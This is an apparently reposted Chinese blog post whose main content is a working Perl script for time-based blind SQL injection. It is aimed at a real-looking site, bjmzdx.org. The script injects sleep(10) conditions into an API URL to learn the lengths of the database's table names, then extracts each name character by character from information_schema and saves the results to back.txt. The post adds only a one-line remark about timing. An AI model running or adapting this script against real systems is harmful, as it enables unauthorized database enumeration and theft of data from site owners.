zoukankan      html  css  js  c++  java
  • 一个基于时间注入的perl小脚本

     1 use strict;
     2 use warnings;
     3 use LWP::Simple;
     4 
     5 my %table_and_leng;
     6 for(my $count = 0;$count <= 49;$count++){
     7     #print "Test Table: $count
    ";
     8     my $table_length=1;
     9     my $swap = $count+1;
    10     while($table_length <= 30){
    11         
    12         print "Test Table($swap), and table_length($table_length)
    ";
    13         my $start_time = time;
    14         get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if(length((select table_name from information_schema.tables where table_schema=database() limit $count,1))=$table_length,sleep(10),1) )-- -.html");
    15         my $end_time = time;
    16         my $fish_time = $end_time-$start_time;
    17         if($fish_time >= 10){
    18             print "The $swap talbe_length:$table_length
    ";
    19             $table_and_leng{$count} = $table_length;
    20             last;
    21         }
    22         $table_length++;
    23     }
    24 
    25 
    26 }
    27 foreach my $keys(sort keys %table_and_leng){
    28         print "$keys => $table_and_leng{$keys}
    ";
    29 }
    30 print "All table length is Done, sleep(30)";
    31 sleep(30);
    32 
    33 my %all_tables;
    34 for(my $table_count=0;$table_count <=49;$table_count++){
    35     my $table_count_swap = $table_count+1;
    36     my @table;
    37     for(my $count=1;$count<=$table_and_leng{$table_count}; $count++){
    38         foreach my $char('a'..'z','A'..'Z',0..9,'_','!','@','#','$','%','^','&','*','(',')'){
    39             print "Guess $table_count_swap ->  $char
    ";
    40             my $start_time = time;
    41             get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and (   if((substr(  (select table_name from information_schema.tables where table_schema=database() limit $table_count,1),$count,1)='".$char."')  ,sleep(10),1)   )-- -.html");
    42             my $end_time = time;
    43             my $fish_time = $end_time-$start_time;
    44             if($fish_time >= 10){
    45                 print "The Char:$char
    ";
    46                 push @table, $char;
    47                 last;
    48                 
    49             }
    50             
    51         }
    52     }
    53     my $table_swap = join('',@table);
    54     
    55     print "The $table_count_swap is:$table_swap
    ";
    56     $all_tables{$table_count} = $table_swap;
    57 }
    58 
    59 open DATA, ">> back.txt" or die "Cannot write to file:$!
    ";
    60 print "
    
    ------------------------------------------------------
    ";
    61 foreach my $table_keys(sort keys %all_tables){
    62         print "$table_keys => $all_tables{$table_keys}
    ";
    63         print DATA "$table_keys	$all_tables{$table_keys}
    ";
    64 }
    65 print "------------------------------------------------------
    ";
    66 close DATA;
    67 print "All Done, Please Check the file:back.txt in current dir.
    ";
    68 print "Done!
    ";

    关键是time获得时间

  • 相关阅读:
    Gecko Bootloader的介绍(Silicon Labs)【一】
    使用模板新建ZigBee工程的方法
    代码控制ZigBee网络密钥的生成
    Ubuntu20编译最新版Android源码教程
    C和C++常用代码片段整理
    Java易错的知识点整理
    仿IntelliJ Darcula的Swing主题FlatLaf使用方法
    PuTTYTabManager汉化版
    WinSCP整合SecureCRT打开终端
    异想家博客图片批量压缩程序
  • 原文地址:https://www.cnblogs.com/perl6/p/6419576.html
Copyright © 2011-2022 走看看